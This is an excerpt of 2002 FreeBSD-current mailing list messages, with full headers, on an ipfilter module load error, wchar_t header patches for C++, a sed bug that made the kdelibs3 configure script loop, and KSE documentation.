To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 17:31:26 2002
Delivered-To: freebsd-current@freebsd.org
Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249])
	by hub.freebsd.org (Postfix) with ESMTP
	id 3D55337B428; Mon, 17 Jun 2002 17:31:22 -0700 (PDT)
Received: by leviathan.inethouston.net (Postfix, from userid 1001)
	id 0135B3198E1; Mon, 17 Jun 2002 19:31:21 -0500 (CDT)
Date: Mon, 17 Jun 2002 19:31:21 -0500
From: "David W. Chapman Jr." <dwcjr@inethouston.net>
To: "Crist J. Clark" <cjc@FreeBSD.ORG>
Cc: "David W. Chapman Jr." <dwcjr@inethouston.net>,
	current@FreeBSD.ORG
Subject: Re: ipfilter module
Message-ID: <20020618003121.GA45368@leviathan.inethouston.net>
Reply-To: "David W. Chapman Jr." <dwcjr@inethouston.net>
Mail-Followup-To: "Crist J. Clark" <cjc@FreeBSD.ORG>,
	"David W. Chapman Jr." <dwcjr@inethouston.net>, current@FreeBSD.ORG
References: <20020617142825.GA88804@leviathan.inethouston.net> <20020617165634.B2839@blossom.cjclark.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020617165634.B2839@blossom.cjclark.org>
X-Operating-System: FreeBSD 4.5-STABLE i386
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Mon, Jun 17, 2002 at 04:56:34PM -0700, Crist J. Clark wrote:
> On Mon, Jun 17, 2002 at 09:28:25AM -0500, David W. Chapman Jr. wrote:
> > Anyone see this while kldload ipl?
> > 
> > link_elf: symbol pfil_add_hook undefined
> 
> Yes. It's been broken for ages.
Should I bug darren?

-- 
David W. Chapman Jr.
dwcjr@inethouston.net	Raintree Network Services, Inc. <www.inethouston.net>
dwcjr@freebsd.org	FreeBSD Committer <www.FreeBSD.org>

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 17:39:11 2002
Delivered-To: freebsd-current@freebsd.org
Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50])
	by hub.freebsd.org (Postfix) with ESMTP
	id 866B437B425; Mon, 17 Jun 2002 17:39:08 -0700 (PDT)
Received: from pool0435.cvx40-bradley.dialup.earthlink.net ([216.244.43.180] helo=mindspring.com)
	by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17K71P-0004oL-00; Mon, 17 Jun 2002 17:38:59 -0700
Message-ID: <3D0E80FD.CF094352@mindspring.com>
Date: Mon, 17 Jun 2002 17:38:21 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Martin Blapp <mb@imp.ch>
Cc: Thomas David Rivers <rivers@dignus.com>, current@FreeBSD.ORG,
	obrien@FreeBSD.ORG
Subject: Re: PATCH: wchar_t is already defined in libstd++
References: <20020617235725.F60170-100000@levais.imp.ch>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Martin Blapp wrote:
> >  In standard C++, wchar_t is a keyword.  So, there should be
> >  no definition of wchar_t at all.  I think this is the problem.
> >  (You can't typedef a predefined keyword.)
> >
> >  (Now - the compiler should certainly have the very same
> >  idea of what a wchar_t is.. the same idea as the C typedef,
> >  but that's a gcc configuration problem.)
> 
> So my patches would be correct ?

Yes.  As long as you make sure that the C++ compiler and the
__BSD_WCHAR_T_ agree about the size.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 17:57:11 2002
Delivered-To: freebsd-current@freebsd.org
Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50])
	by hub.freebsd.org (Postfix) with ESMTP id 87B0137B409
	for <current@freebsd.org>; Mon, 17 Jun 2002 17:57:05 -0700 (PDT)
Received: from pool0435.cvx40-bradley.dialup.earthlink.net ([216.244.43.180] helo=mindspring.com)
	by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17K7HT-0002TK-00; Mon, 17 Jun 2002 17:55:36 -0700
Message-ID: <3D0E84DF.C836E631@mindspring.com>
Date: Mon, 17 Jun 2002 17:54:55 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Martin Blapp <mb@imp.ch>
Cc: Garrett Wollman <wollman@lcs.mit.edu>,
	Thomas David Rivers <rivers@dignus.com>, current@FreeBSD.ORG
Subject: Re: PATCH: wchar_t is already defined in libstd++
References: <20020618004555.U60170-100000@levais.imp.ch>
Content-Type: multipart/mixed;
 boundary="------------CA68868557010680A797E5E2"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

This is a multi-part message in MIME format.
--------------CA68868557010680A797E5E2
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Martin Blapp wrote:
> 
> Wait my previous version was wrong ...
> 
> This is more correct ...
> 
> Since of works for gcc and g++ before 3, and it works for
> gcc in 3. :

Garrett is right.  The correct answer is to not define _BSD_WCHAR_T_
in scope for C++.

I'm not sure about _BSD_WINT_T_.

In any case, here is a patch for i386; you will need similar
patches for the other architectures.

-- Terry
--------------CA68868557010680A797E5E2
Content-Type: text/plain; charset=us-ascii;
 name="ansi.h.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="ansi.h.diff"

Index: ansi.h
===================================================================
RCS file: /usr/cvs/src/sys/i386/include/ansi.h,v
retrieving revision 1.18.2.4
diff -c -r1.18.2.4 ansi.h
*** ansi.h	3 Jun 2001 17:15:54 -0000	1.18.2.4
--- ansi.h	18 Jun 2002 01:02:30 -0000
***************
*** 56,62 ****
--- 56,64 ----
  #define	_BSD_SSIZE_T_	int			/* byte count or error */
  #define	_BSD_TIME_T_	long			/* time()... */
  #define	_BSD_TIMER_T_	int			/* timer_gettime()... */
+ #if __GNUC__ > 2 && !defined(__cplusplus)
  #define	_BSD_WCHAR_T_	_BSD_CT_RUNE_T_		/* wchar_t (see below) */
+ #endif
  #define	_BSD_WINT_T_	_BSD_CT_RUNE_T_		/* wint_t (see below) */
  
  /*

--------------CA68868557010680A797E5E2--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 19:52:12 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22])
	by hub.freebsd.org (Postfix) with ESMTP id D422A37B434
	for <current@freebsd.org>; Mon, 17 Jun 2002 19:52:06 -0700 (PDT)
Received: from pool0435.cvx40-bradley.dialup.earthlink.net ([216.244.43.180] helo=mindspring.com)
	by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17K963-0000OQ-00; Mon, 17 Jun 2002 19:51:55 -0700
Message-ID: <3D0EA022.7931AAF7@mindspring.com>
Date: Mon, 17 Jun 2002 19:51:14 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Martin Blapp <mb@imp.ch>, Garrett Wollman <wollman@lcs.mit.edu>,
	Thomas David Rivers <rivers@dignus.com>, current@FreeBSD.ORG
Subject: Re: PATCH: wchar_t is already defined in libstd++
References: <20020618004555.U60170-100000@levais.imp.ch> <3D0E84DF.C836E631@mindspring.com>
Content-Type: multipart/mixed;
 boundary="------------B77D1E0E025B7AA36CFC8CA5"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

This is a multi-part message in MIME format.
--------------B77D1E0E025B7AA36CFC8CA5
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Terry Lambert wrote:
> In any case, here is a patch for i386; you will need similar
> patches for the other architectures.

Oops.

I messed the negative logic.  BTW, that should be an #ifndef
insdtead of a #ifdef in your original patch.

Here is a corrected patch for ansi.h.

-- Terry
--------------B77D1E0E025B7AA36CFC8CA5
Content-Type: text/plain; charset=us-ascii;
 name="ansi.h.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="ansi.h.diff"

Index: ansi.h
===================================================================
RCS file: /usr/cvs/src/sys/i386/include/ansi.h,v
retrieving revision 1.18.2.4
diff -c -r1.18.2.4 ansi.h
*** ansi.h	3 Jun 2001 17:15:54 -0000	1.18.2.4
--- ansi.h	18 Jun 2002 02:57:49 -0000
***************
*** 56,62 ****
--- 56,64 ----
  #define	_BSD_SSIZE_T_	int			/* byte count or error */
  #define	_BSD_TIME_T_	long			/* time()... */
  #define	_BSD_TIMER_T_	int			/* timer_gettime()... */
+ #if __GNUC__ < 3 || !defined(__cplusplus)
  #define	_BSD_WCHAR_T_	_BSD_CT_RUNE_T_		/* wchar_t (see below) */
+ #endif
  #define	_BSD_WINT_T_	_BSD_CT_RUNE_T_		/* wint_t (see below) */
  
  /*

--------------B77D1E0E025B7AA36CFC8CA5--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 19:59:34 2002
Delivered-To: freebsd-current@freebsd.org
Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249])
	by hub.freebsd.org (Postfix) with ESMTP
	id 3669A37B415; Mon, 17 Jun 2002 19:59:28 -0700 (PDT)
Received: by leviathan.inethouston.net (Postfix, from userid 1001)
	id BFB373198E2; Mon, 17 Jun 2002 21:59:33 -0500 (CDT)
Date: Mon, 17 Jun 2002 21:59:33 -0500
From: "David W. Chapman Jr." <dwcjr@inethouston.net>
To: kde@freebsd.org
Cc: ports@freebsd.org, current@freebsd.org
Subject: latest kde3 under -current
Message-ID: <20020618025933.GF46230@leviathan.inethouston.net>
Reply-To: "David W. Chapman Jr." <dwcjr@inethouston.net>
Mail-Followup-To: kde@freebsd.org, ports@freebsd.org,
	current@freebsd.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Operating-System: FreeBSD 4.5-STABLE i386
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

This loops forever on the configure script for kdelibs3

+ test -z /usr/local/sbin
+ IFS=

+ test -z /usr/local/bin
+ IFS=

+ test -z /usr/X11R6/bin
+ IFS=

+ test -z /root/bin
+ sed =
+ sed
      N
      s,$,-,
      : loop
      s,^\([0123456789]*\)\(.*\)[$]LINENO\([^abcdefghijklmnopqrstuvwxyzABCDEFGHI
JKLMNOPQRSTUVWXYZ0123456789_]\),\1\2\1\3,
      t loop
      s,-$,,
      s,^[0123456789]*\n,,



I believe autoconf253 loops during configure as well.

-- 
David W. Chapman Jr.
dwcjr@inethouston.net	Raintree Network Services, Inc. <www.inethouston.net>
dwcjr@freebsd.org	FreeBSD Committer <www.FreeBSD.org>

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 20: 0:23 2002
Delivered-To: freebsd-current@freebsd.org
Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38])
	by hub.freebsd.org (Postfix) with ESMTP id DF62437B432
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 20:00:11 -0700 (PDT)
Received: from InterJet.elischer.org ([12.232.206.8])
          by rwcrmhc51.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020618030011.JATJ11426.rwcrmhc51.attbi.com@InterJet.elischer.org>;
          Tue, 18 Jun 2002 03:00:11 +0000
Received: from localhost (localhost.elischer.org [127.0.0.1])
	by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id TAA17414;
	Mon, 17 Jun 2002 19:44:20 -0700 (PDT)
Date: Mon, 17 Jun 2002 19:44:18 -0700 (PDT)
From: Julian Elischer <julian@elischer.org>
To: Terry Lambert <tlambert2@mindspring.com>
Cc: Alex.Wilkinson@dsto.defence.gov.au, freebsd-current@freebsd.org
Subject: Re: KSE
In-Reply-To: <3D0E7D55.24F4515C@mindspring.com>
Message-ID: <Pine.BSF.4.21.0206171943520.15414-100000@InterJet.elischer.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

google cannot generate the revised edition that never was published.


On Mon, 17 Jun 2002, Terry Lambert wrote:

> Julian Elischer wrote:
> > 
> > I'm trying to regenerate jason's page here but am having trouble with all
> > the tools...
> > (it is done in tex and I don't seem tobe able to regenerate the tools
> > needed to make a web page from it..)
> 
> Jon Parise points out that the Google cache might be able to
> help you.
> 
> -- Terry
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 20:22:10 2002
Delivered-To: freebsd-current@freebsd.org
Received: from creme-brulee.marcuscom.com (rdu57-17-158.nc.rr.com [66.57.17.158])
	by hub.freebsd.org (Postfix) with ESMTP
	id 47E7E37B42F; Mon, 17 Jun 2002 20:22:04 -0700 (PDT)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.12.3/8.12.3) with ESMTP id g5I3HiB4025598;
	Mon, 17 Jun 2002 23:17:44 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
Subject: Re: latest kde3 under -current
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: "David W. Chapman Jr." <dwcjr@inethouston.net>
Cc: kde@FreeBSD.ORG, ports@FreeBSD.ORG, current@FreeBSD.ORG
In-Reply-To: <20020618025933.GF46230@leviathan.inethouston.net>
References: <20020618025933.GF46230@leviathan.inethouston.net>
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-RLaT9cwS5Ly/DypNdodm"
X-Mailer: Ximian Evolution 1.0.7 
Date: 17 Jun 2002 23:20:05 -0400
Message-Id: <1024370405.17203.21.camel@shumai.marcuscom.com>
Mime-Version: 1.0
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--=-RLaT9cwS5Ly/DypNdodm
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Mon, 2002-06-17 at 22:59, David W. Chapman Jr. wrote:
> This loops forever on the configure script for kdelibs3
>=20
> + test -z /usr/local/sbin
> + IFS=3D
>=20
> + test -z /usr/local/bin
> + IFS=3D
>=20
> + test -z /usr/X11R6/bin
> + IFS=3D
>=20
> + test -z /root/bin
> + sed =3D
> + sed
>       N
>       s,$,-,
>       : loop
>       s,^\([0123456789]*\)\(.*\)[$]LINENO\([^abcdefghijklmnopqrstuvwxyzAB=
CDEFGHI
> JKLMNOPQRSTUVWXYZ0123456789_]\),\1\2\1\3,
>       t loop
>       s,-$,,
>       s,^[0123456789]*\n,,
>=20
>=20
>=20
> I believe autoconf253 loops during configure as well.

Yep this is the recent sed problem.  If you update to the latest
-CURRENT wit tjr's sed fix, you should be set.

Joe

>=20
> --=20
> David W. Chapman Jr.
> dwcjr@inethouston.net	Raintree Network Services, Inc. <www.inethouston.ne=
t>
> dwcjr@freebsd.org	FreeBSD Committer <www.FreeBSD.org>
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-ports" in the body of the message
>=20


--=-RLaT9cwS5Ly/DypNdodm
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iD8DBQA9Dqbkb2iPiv4Uz4cRAkmaAJ9sA5E2scWBdWtpV79vh6mN2Z5szwCeO2Eg
sBpn3lotAzQ40nEZcaofULM=
=6TtG
-----END PGP SIGNATURE-----

--=-RLaT9cwS5Ly/DypNdodm--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 20:25: 0 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id 5195937B40F
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 20:24:56 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5I3LsP8020670;
	Mon, 17 Jun 2002 20:21:54 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5I3Lscq020669;
	Mon, 17 Jun 2002 20:21:54 -0700 (PDT)
Date: Mon, 17 Jun 2002 20:21:54 -0700
From: "David O'Brien" <obrien@FreeBSD.ORG>
To: Garrett Wollman <wollman@lcs.mit.edu>
Cc: Thomas David Rivers <rivers@dignus.com>, mb@imp.ch,
	current@FreeBSD.ORG
Subject: Re: PATCH: wchar_t is already defined in libstd++
Message-ID: <20020617202154.B20621@dragon.nuxi.com>
Reply-To: obrien@FreeBSD.ORG
Mail-Followup-To: David O'Brien <obrien@FreeBSD.org>,
	Garrett Wollman <wollman@lcs.mit.edu>,
	Thomas David Rivers <rivers@dignus.com>, mb@imp.ch,
	current@FreeBSD.ORG
References: <20020617235725.F60170-100000@levais.imp.ch> <200206172202.g5HM2HW52939@lakes.dignus.com> <200206172216.g5HMGjrS022873@khavrinen.lcs.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200206172216.g5HMGjrS022873@khavrinen.lcs.mit.edu>; from wollman@lcs.mit.edu on Mon, Jun 17, 2002 at 06:16:45PM -0400
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Mon, Jun 17, 2002 at 06:16:45PM -0400, Garrett Wollman wrote:
> <<On Mon, 17 Jun 2002 18:02:17 -0400 (EDT), Thomas David Rivers <rivers@dignus.com> said:
> 
> >   The correct approach (and, I have to admit to not
> >  glancing at your patch) would be:
> 
> >    #ifndef __cplusplus
> >    typedef _BSD_WCHAR_T_   wchar_t
> >    #endif
> 
> Actually, the correct approach would be to avoid defining
> _BSD_WCHAR_T_ when compiling C++.  This way, it only needs to be done

I am much more likely to force the libstdc++ build to use our
_BSD_WCHAR_T_.  Our types should be centralized and not in some hidden
vendor software that often makes wrong assumptions about us.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 20:27:12 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id 4585E37B41A
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 20:27:09 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5I3NQP8020699;
	Mon, 17 Jun 2002 20:23:26 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5I3NNX4020698;
	Mon, 17 Jun 2002 20:23:23 -0700 (PDT)
Date: Mon, 17 Jun 2002 20:23:23 -0700
From: "David O'Brien" <obrien@FreeBSD.ORG>
To: Martin Blapp <mb@imp.ch>
Cc: Garrett Wollman <wollman@lcs.mit.edu>,
	Thomas David Rivers <rivers@dignus.com>, current@FreeBSD.ORG
Subject: Re: PATCH: wchar_t is already defined in libstd++
Message-ID: <20020617202323.C20621@dragon.nuxi.com>
Reply-To: obrien@FreeBSD.ORG
Mail-Followup-To: David O'Brien <obrien@FreeBSD.org>,
	Martin Blapp <mb@imp.ch>, Garrett Wollman <wollman@lcs.mit.edu>,
	Thomas David Rivers <rivers@dignus.com>, current@FreeBSD.ORG
References: <200206172241.g5HMfW2L022995@khavrinen.lcs.mit.edu> <20020618004555.U60170-100000@levais.imp.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020618004555.U60170-100000@levais.imp.ch>; from mb@imp.ch on Tue, Jun 18, 2002 at 01:01:36AM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Tue, Jun 18, 2002 at 01:01:36AM +0200, Martin Blapp wrote:
> 
> Wait my previous version was wrong ...
> 
> This is more correct ...
> 
> Since of works for gcc and g++ before 3, and it works for
> gcc in 3. :

Please do not commit anything like this until I have a chance to test
some things.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 20:27:18 2002
Delivered-To: freebsd-current@freebsd.org
Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249])
	by hub.freebsd.org (Postfix) with ESMTP
	id EC73837B405; Mon, 17 Jun 2002 20:27:12 -0700 (PDT)
Received: by leviathan.inethouston.net (Postfix, from userid 1001)
	id F3FC03198E3; Mon, 17 Jun 2002 22:23:38 -0500 (CDT)
Date: Mon, 17 Jun 2002 22:23:38 -0500
From: "David W. Chapman Jr." <dwcjr@inethouston.net>
To: Joe Marcus Clarke <marcus@marcuscom.com>
Cc: "David W. Chapman Jr." <dwcjr@inethouston.net>, kde@FreeBSD.ORG,
	ports@FreeBSD.ORG, current@FreeBSD.ORG
Subject: Re: latest kde3 under -current
Message-ID: <20020618032338.GG46230@leviathan.inethouston.net>
Reply-To: "David W. Chapman Jr." <dwcjr@inethouston.net>
Mail-Followup-To: Joe Marcus Clarke <marcus@marcuscom.com>,
	"David W. Chapman Jr." <dwcjr@inethouston.net>, kde@FreeBSD.ORG,
	ports@FreeBSD.ORG, current@FreeBSD.ORG
References: <20020618025933.GF46230@leviathan.inethouston.net> <1024370405.17203.21.camel@shumai.marcuscom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <1024370405.17203.21.camel@shumai.marcuscom.com>
X-Operating-System: FreeBSD 4.5-STABLE i386
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

> Yep this is the recent sed problem.  If you update to the latest
> -CURRENT wit tjr's sed fix, you should be set.

Yep, just did that and it fixed it, thanks for the pointer!!

-- 
David W. Chapman Jr.
dwcjr@inethouston.net	Raintree Network Services, Inc. <www.inethouston.net>
dwcjr@freebsd.org	FreeBSD Committer <www.FreeBSD.org>

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 20:28:28 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 353C237B40B; Mon, 17 Jun 2002 20:28:20 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5I3QmP8020768;
	Mon, 17 Jun 2002 20:26:48 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5I3QlHk020767;
	Mon, 17 Jun 2002 20:26:47 -0700 (PDT)
Date: Mon, 17 Jun 2002 20:26:47 -0700
From: "David O'Brien" <dev-null@NUXI.com>
To: Oliver Braun <obraun@informatik.unibw-muenchen.de>,
	ijliao@freebsd.org, ports@freebsd.org, current@freebsd.org,
	sobomax@freebsd.org
Subject: Re: rsync 5.x breakage
Message-ID: <20020617202647.D20621@dragon.nuxi.com>
Reply-To: current@freebsd.org, ports@freebsd.org
Mail-Followup-To: David O'Brien <dev-null@nuxi.com>,
	Oliver Braun <obraun@informatik.unibw-muenchen.de>,
	ijliao@freebsd.org, ports@freebsd.org, current@freebsd.org,
	sobomax@FreeBSD.org
References: <20020616040000.A16402@xor.obsecurity.org> <20020616123029.GA12998@informatik.unibw-muenchen.de> <20020616114359.C24973@xor.obsecurity.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020616114359.C24973@xor.obsecurity.org>; from kris@obsecurity.org on Sun, Jun 16, 2002 at 11:43:59AM -0700
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
